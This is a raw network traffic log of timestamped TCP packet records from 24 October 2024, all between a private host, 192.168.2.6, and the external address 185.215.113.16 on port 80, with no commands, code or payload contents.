Oct 24, 2024 18:08:21.236061096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236093044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236098051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236133099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236169100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236170053 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236201048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236205101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236236095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236279011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236287117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236319065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236352921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236355066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236385107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236418009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236448050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236459970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236480951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236483097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236509085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236540079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236572981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236592054 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236604929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236613035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236638069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236670971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236705065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236727953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236737013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236745119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236773968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236807108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236840010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.236854076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.236876965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.287082911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.324723005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.324753046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.324769020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.324786901 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.324898005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.324913979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.324928999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.324948072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.324951887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.324963093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.324985027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.325007915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.331631899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.331649065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.331665039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.331681013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.331696033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.331727982 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.331928968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.331943989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.331958055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.331981897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.331984043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.331998110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332011938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332014084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.332027912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332036972 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.332051039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332056999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.332066059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332081079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332099915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.332144022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332159042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332194090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.332236052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332252026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332267046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.332285881 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.332300901 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353416920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353482008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353497028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353513002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353522062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353527069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353543043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353558064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353569031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353580952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353596926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353621006 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353624105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353637934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353657961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353672028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353677034 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353688002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353713036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353722095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353758097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353823900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353838921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353873968 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353915930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353931904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353955984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353965998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.353971004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.353987932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354001999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354010105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354017973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354036093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354087114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354126930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354161024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354197979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354237080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354254961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354269028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354285002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354310036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354315042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354337931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354351997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354353905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354370117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354384899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354386091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354399920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354415894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354433060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354438066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354456902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354489088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354504108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354527950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354646921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354661942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354680061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354686975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354726076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354753017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354767084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354782104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354796886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354801893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354813099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354851961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354862928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354876995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354892015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354912043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354914904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354926109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354931116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354947090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354962111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.354963064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.354974985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355005980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355084896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355098009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355113029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355139017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355158091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355247021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355262995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355278015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355300903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355731964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355746984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355762959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355777025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355792999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355807066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355823040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355827093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355849981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355853081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355868101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355870962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355884075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355897903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355901957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355912924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355927944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355931997 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355943918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355958939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355973005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355974913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.355993032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.355997086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.356018066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.356033087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.356046915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.356049061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.356070995 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.402679920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.444222927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.444257021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.444273949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.444307089 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.444376945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.444427967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.444674969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.444762945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.444780111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.444797039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.444825888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.444858074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.447659016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451427937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451457977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451473951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451524019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451566935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451582909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451602936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451623917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451628923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451641083 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451646090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451661110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451677084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451688051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451692104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451709032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451718092 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451725006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451740980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451751947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451755047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451771021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451773882 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451791048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451829910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451838017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451903105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451920986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451937914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451941967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451956034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.451961994 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.451973915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.452019930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.454606056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.472928047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.472964048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.472981930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.472997904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.473005056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.473016024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.473032951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.473040104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.473047972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.473064899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.473073006 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.473093987 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474040985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474160910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474176884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474188089 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474194050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474210024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474225044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474230051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474242926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474258900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474268913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474284887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474296093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474302053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474318981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474330902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474337101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474353075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474374056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474420071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474445105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474471092 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474474907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474486113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474492073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474508047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474524021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474539995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474540949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474569082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474581003 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474586964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474602938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474621058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474628925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474637032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474648952 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474658966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474675894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474673033 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474693060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474708080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474723101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474733114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474741936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474749088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474765062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474781036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474796057 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474811077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474822998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474836111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474853992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474869967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474885941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474885941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474901915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474920988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.474929094 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474950075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.474967003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475037098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.475090027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475106955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475145102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475150108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.475167990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475183964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475199938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475207090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.475220919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.475245953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.475306988 CEST	80	49744	185.215.113.16	192.168.2.6
